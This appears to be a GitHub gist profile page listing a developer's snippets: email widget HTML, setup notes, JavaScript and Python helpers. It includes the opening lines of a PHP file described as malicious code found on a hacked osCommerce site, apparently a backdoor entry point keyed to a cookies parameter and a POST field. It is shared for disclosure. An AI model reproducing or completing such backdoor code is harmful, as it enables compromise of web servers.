Skip to content

Instantly share code, notes, and snippets.

View strathmeyer's full-sized avatar

Eric Strathmeyer strathmeyer

View GitHub Profile
<h3>TITLE</h3>
<ul>
<li>NAME</li>
<li>NAME</li>
<li>NAME</li>
<li>NAME</li>
</ul>
<table cellspacing="0" border="0"><tr><td style="width:302px;"><table style="text-align: center; margin-top: 5px; margin-bottom: 5px" align="left" width="320px" cellspacing="0" border="0"><tbody><tr><td style="text-align: center" rowspan="1" colspan="1" width="auto"><a href="http://api.powerinbox.com/content/redirect?url=http://www.youtube.com/watch?v=3J-zTFI5lmM" target="_blank" style="display:block"><img width="320px" height="240px" src="http://i4.ytimg.com/vi/3J-zTFI5lmM/hqdefault.jpg" border="0" style="display:block;margin-bottom:0px"></a></td></tr><tr><td style="text-align:center;font-size:10pt;font-style:normal;font-family:Arial,Helvetica,sans-serif;font-weight:bold" rowspan="1" colspan="1">What is #theCube?</td></tr></tbody></table></td></tr><tr><td align="center"><div><a href="http://plugin.powerinbox.com/install?app=PublicWidgetsApp" title="powerinbox-app=JVsOplfCZ8U9dI0+O0/fV0qg7ucW5HcZn71lOSvEMEnXGiyOE04E0ZQMY7WpGuk5Ls5qD9+9SzWBm1e/i5yMf7AEmC6cMNac/QjTlSwlwtfyp0FAHa0S91wHoLlwwGPs0MdSqpGUiLpah+eTGjt
YOUTUBE / VIMEO
before:
<table cellspacing="0" border="0"><tr><td style="width:640px;"><table style="text-align: center; margin-top: 5px; margin-bottom: 5px" align="left" width="320px" cellspacing="0" border="0"><tbody><tr><td style="text-align: center" rowspan="1" colspan="1" width="auto"><a href="http://youtu.be/a1Y73sPHKxw" target="_blank" style="display:block"><img width="320px" height="240px" src="http://i2.ytimg.com/vi/a1Y73sPHKxw/hqdefault.jpg" border="0" style="display:block;margin-bottom:0px"></a>
after:
<table cellspacing="0" border="0"><tr><td style="width:640px;"><table style="text-align: center; margin-top: 5px; margin-bottom: 5px" align="left" width="320px" cellspacing="0" border="0"><tbody><tr><td style="text-align: center" rowspan="1" colspan="1" width="auto"><a href="http://youtu.be/a1Y73sPHKxw" target="_blank" style="display:block"><img width="100%" height="240px" src="http://i2.ytimg.com/vi/a1Y73sPHKxw/hqdefault.jpg" border="0" style="display:block;margin-bottom:0px;margin-left:auto; m
{
"submitURL": "https://api.powerinbox.com/embed/video",
"slug": "youtube",
"defaultPostData": {
"type": "youtube"
},
"requiredFields": [
{
"type": "RegExpTextField",
"options": {
@strathmeyer
strathmeyer / gist:1695639
Created January 28, 2012 20:16
Mulberry on Win7
install RailsInstaller from http://railsinstaller.org/
clone mulberry from github. run install.sh
run bundle install
gem install evergreen
(may not be necessary. I did it to try to get the tests working, but rake kept complaining about not finding it)
install chromedriver.exe, add to path
create a .bat in /cli/bin that contains something like:
@strathmeyer
strathmeyer / gist:1352253
Created November 9, 2011 17:51
amplify.js: Easily trigger a topic publish on a UI event
amplify.publishTo = function (topic) {
return function () { amplify.publish(topic); };
};
// Usage:
// $('#myButton').click( amplify.publishTo('myTopic') );
//
// Replaces:
// $('#myButton').click( function () { amplify.publish('myTopic') });
@strathmeyer
strathmeyer / malicious.php
Created January 22, 2011 01:09
Some malicious code found in a hacked osCommerce instance
<?php
if (@$_GET['cookies'] == 1) {
echo 'Cookies must be enabled !';
$tf='';
if (@$_POST['tf']) {
$tf = @$_POST['tf'];
}
@strathmeyer
strathmeyer / rename_cbf.py
Last active August 29, 2015 13:57
Collects .cbf files from multiple subdirectories, copies them to a common output directory, modifies the filename of each and also modifies a line inside the file to match the new filename.
import glob
import os
import re
# Create the output directory if it doesn't exist
output_dir = './output/'
if not os.path.exists(output_dir):
os.makedirs(output_dir)
# Pull in all the input file names. The "**"" means "this directory and any
@strathmeyer
strathmeyer / hapi_cache.js
Last active August 29, 2015 13:57
Demo hapi's caching of method results
var Hapi = require('hapi');
var server = new Hapi.Server('localhost', 8000);
var add = function (a, b, next) {
console.log("Calculating...");
next(null, a + b);
};
server.method('sum', add, { cache: { expiresIn: 2000 } });